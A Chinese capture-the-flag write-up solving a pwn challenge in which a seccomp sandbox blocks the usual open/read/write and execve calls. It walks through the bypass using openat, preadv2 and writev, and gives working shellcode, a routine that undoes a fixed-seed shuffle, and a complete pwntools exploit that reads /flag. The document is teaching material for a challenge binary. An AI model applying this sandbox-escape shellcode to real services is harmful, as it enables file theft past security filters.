沙箱保护题初探 Escape
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  char *s; // [rsp+28h] [rbp-18h]
  unsigned __int64 v6; // [rsp+30h] [rbp-10h]

  init();
  s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( s == (char *)-1LL )
  {
    perror("mmap failed");
    exit(1);
  }
  syscall(0LL, 0LL, 0x1337000LL, 592LL);// 调用系统读入
  v6 = strlen(s);
  shuffle((__int64)s, v6);
  if ( v6 <= 0xAF )
  {
    sandbox();
    entrance();
    LODWORD(v3) = 0;
  }
  else
  {
    return (int)"Error triggered...";
  }
  return v3;
}

syscall(0LL, 0LL, 0x1337000LL, 592LL); 第一个位置放系统调用号,0 表示 read;第二个放文件描述符,0 表示标准读入;0x1337000LL 表示读到这个位置,592LL 表示读入字节数。

shuffle 用来打乱,把 s[i] 和 s[rand()%len] 的值交换了,但由于随机数种子固定,可以逆着搞,让它 shuffle 完以后成为我们想要的 shellcode.

unsigned __int64 __fastcall shuffle(__int64 s, unsigned __int64 len)
{
  char v3; // [rsp+1Bh] [rbp-15h]
  int i; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  srand(0x1337u);
  if ( len > 1 )
  {
    for ( i = 0; i < len >> 1; ++i )
    {
      v5 = rand() % len;
      v3 = *(_BYTE *)(i + s);
      *(_BYTE *)(i + s) = *(_BYTE *)(s + v5);
      *(_BYTE *)(v5 + s) = v3;
    }
  }
  return v6 - __readfsqword(0x28u);
}

后面创建了一个沙箱:

unsigned __int64 sandbox()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  seccomp_rule_add(v1, 0LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0LL, 19LL, 0LL);
  seccomp_rule_add(v1, 0LL, 17LL, 0LL);
  seccomp_rule_add(v1, 0LL, 295LL, 0LL);
  seccomp_rule_add(v1, 0LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0LL, 40LL, 0LL);
  seccomp_load(v1);
  return v2 - __readfsqword(0x28u);
}

直接用 seccomp-tools 查看:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 0015
 0009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0015
 0010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0015
 0011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0015
 0012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0015
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL

可以看到常用的 ORW 都被杀了。

Linux kernel syscall tables 查询相似系统调用以及它们的用法。既然 execve 和 execveat 都被杀了,我们就应该往“偷flag”而不是“拿shell”这个方向去做。虽然 read 被杀了,但是仍然可以用相近的系统调用,比如 pread64、readv、preadv、preadv2 ,但这里把其中的三个也杀完了,所以只能用 preadv2 了。

ORW针对缺O、R、W情况的总结

sendfile 也是个好东西,一个调用实现 read 和 write 两个功能,可惜这里也被禁用了。

read —— readv/pread64/preadv/preadv2

write —— writev/pwrite64/pwritev/pwritev2

open —— openat/openat2

execve —— execveat

sendfile

注意,p 开头的系统调用只能处理文件(0 stdin; 1 stdout; 2 stderr; 3,4, … file; 这里只能处理 file),所以我们想看到 flag 就得用 writev.

int openat(int dirfd, const char *pathname, int flags);
  • dirfd:目录文件描述符。如果是 AT_FDCWD (-100),则相对于当前工作目录。
  • pathname:要打开的文件路径。如果是绝对路径,dirfd 应该填 -100.
  • flags:打开文件时的标志,可以是 O_RDONLYO_WRONLYO_RDWR 等,也可以与 O_CREATO_TRUNCO_APPEND 等标志进行按位或操作以组合使用。
ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);

iovec 是一个结构体,定义如下:

struct iovec {
    ptr_t iov_base; /* Starting address */
    size_t iov_len; /* Length in bytes */
};
  • fd:文件描述符。
  • iov:指向 iovec 结构体数组的指针,每个 iovec 结构体描述一个缓冲区。
  • iovcntiovec 结构体数组中的元素数量。
  • offset:从文件中读取数据的起始偏移量。
  • flags:标志位。

preadv2 本身就是为了读到多块相互之间不连续的内存中而设计的,所以才有 iov iovcnt 这种东西。

寄存器顺序:rdi, rsi, rdx, rcx, r8, r9 ,这里设置到 r8 就行了。

ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

这个简单,只要设置三个参数,后面两个还是上面已经设置过的,原理相同。

shellcode 如下:

mov rsp, rax; # 这个时候 rax 就是 0x1337000 这个地址
add rsp, 0x200; # 设置栈顶
mov rdi, AT_FDCWD;
mov rax, 0x67616c662f; # /flag
push rax;              # 压入 /flag 字符串, rsp 减 8
mov rsi, rsp;          # rsi 指向 /flag 字符串
mov rdx, O_RDONLY;     # 读取权限, 其他权限加不加都行
mov rax, 257;          # openat 的系统调用号
syscall;
mov rbx, rsp;
add rbx, 0x100;        # 开到一块空的地方
mov rcx, rbx;
add rcx, 0x100;        # 预留 /flag 文件的空间
mov [rbx], rcx;        # rbx 存储 rcx 的地址, 同时也是 iovec 结构体 iov_base 的参数
mov r8, 0x50;
mov [rbx+0x8], r8;     # iovec 中 iov_len 的参数 (注意立即数不能直接写入, 需要先存到寄存器)
mov rdi, rax;          # rdi 指向 /flag 文件描述符, openat 返回值存在 rax 中, 或者直接写 3 (因为是第一个文件描述符)
mov rsi, rbx;          # rsi 指向 iovec 结构体的地址
mov rdx, 1;            # 只需要一个 iovec, 故 iovcnt 为 1
mov rcx, 0;            # offset 为 0
mov r8, 0;             # flags 有点复杂, 填个 0 看看, 能过就行
mov rax, 327;          # preadv2 的系统调用号
syscall;
mov rdi, 1;            # 标准输出 stdout
mov rsi, rbx;          # iovec 结构体的地址
mov rdx, 1;            # 只需要一个 iovec, iovcnt = 1
mov rax, 20;           # writev 的系统调用号
syscall;
ret;

写完 shellcode 我们还不能直接传入,因为写入内存后还经历了一次 shuffle. 由于种子已知,我们可以通过“逆向 shuffle” 来处理上面的 shellcode,从而让程序 shuffle 完变成我们希望的样子。

def deshuffle(sc):
    libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    libc.srand(0x1337)
    # print(sc)
    sc = list(sc)
    # print(sc)
    # print(len(sc))
    rands = []
    for i in range(len(sc) >> 1):
        r = libc.rand()
        v5 = r % len(sc)
        rands.append(v5)
    for i in range(len(rands) - 1, -1, -1):
        sc[i], sc[rands[i]] = sc[rands[i]], sc[i]
    return bytearray(sc)

容易忘记的是反汇编后的代码是这样的:

v6 = strlen(s);
shuffle((__int64)s, v6);

而 C 语言判断字符串是否结束是看第一次遇到 \x00 的,这个 strlen 也不例外,只要遇到 \x00 就结束字符串长度的计数。而上面这段 shellcode 第 7 个字节就是 \x00,所以我们只需要处理第 1 到 6 个字节即可:

sc = deshuffle(sc_init[0:6]) + sc_init[6:]

完整 exp 如下:

from pwn import *
from ctypes import *

io = process('./pwn')
# io = remote("train2024.hitctf.cn", 26300)

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

gdb.attach(io, "b *$rebase(0x1560)")


# unsigned __int64 __fastcall shuffle(__int64 s, unsigned __int64 len)
# {
#   srand(0x1337u);
#   if ( len > 1 )
#   {
#     for ( i = 0; i < len >> 1; ++i )
#     {
#       v5 = rand() % len;
#       v3 = *(_BYTE *)(i + s);
#       *(_BYTE *)(i + s) = *(_BYTE *)(s + v5);
#       *(_BYTE *)(v5 + s) = v3;
#       // s[i], s[rand() % len] = s[rand() % len], s[i]
#     }
#   }
# }
def deshuffle(sc):
    libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    libc.srand(0x1337)
    # print(sc)
    sc = list(sc)
    # print(sc)
    # print(len(sc))
    rands = []
    for i in range(len(sc) >> 1):
        r = libc.rand()
        v5 = r % len(sc)
        rands.append(v5)
    for i in range(len(rands) - 1, -1, -1):
        sc[i], sc[rands[i]] = sc[rands[i]], sc[i]
    return bytearray(sc)

def shuffleit(sc):
    libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    libc.srand(0x1337)
    sc = list(sc)
    for i in range(len(sc) >> 1):
        v5 = libc.rand() % len(sc)
        sc[i], sc[v5] = sc[v5], sc[i]
    return bytearray(sc)

def process_shellcode(sc):
    # 检测第一个 \x00 的位置
    index = sc.index(0)
    return deshuffle(sc[:index]) + sc[index:]

sc_init = asm("""
    mov rsp, rax; # 这个时候 rax 就是 0x1337000 这个地址
    add rsp, 0x200; # 设置栈顶
    mov rdi, AT_FDCWD;
    mov rax, 0x67616c662f; # /flag
    push rax;              # 压入 /flag 字符串, rsp 减 8
    mov rsi, rsp;          # rsi 指向 /flag 字符串
    mov rdx, O_RDONLY;     # 读取权限, 其他权限加不加都行
    mov rax, 257;          # openat 的系统调用号
    syscall;
    mov rbx, rsp;
    add rbx, 0x100;        # 开到一块空的地方
    mov rcx, rbx;
    add rcx, 0x100;        # 预留 /flag 文件的空间
    mov [rbx], rcx;        # rbx 存储 rcx 的地址, 同时也是 iovec 结构体 iov_base 的参数
    mov r8, 0x50;
    mov [rbx+0x8], r8;     # iovec 中 iov_len 的参数 (注意立即数不能直接写入, 需要先存到寄存器)
    mov rdi, rax;          # rdi 指向 /flag 文件描述符, openat 返回值存在 rax 中, 或者直接写 3 (因为是第一个文件描述符)
    mov rsi, rbx;          # rsi 指向 iovec 结构体的地址
    mov rdx, 1;            # 只需要一个 iovec, 故 iovcnt 为 1
    mov rcx, 0;            # offset 为 0
    mov r8, 0;             # flags 有点复杂, 填个 0 看看, 能过就行
    mov rax, 327;          # preadv2 的系统调用号
    syscall;
    mov rdi, 1;            # 标准输出 stdout
    mov rsi, rbx;          # iovec 结构体的地址
    mov rdx, 1;            # 只需要一个 iovec, iovcnt = 1
    mov rax, 20;           # writev 的系统调用号
    syscall;
    ret;
""")

sc = process_shellcode(sc_init)

io.recv()
io.send(sc)

io.interactive()
上一篇
下一篇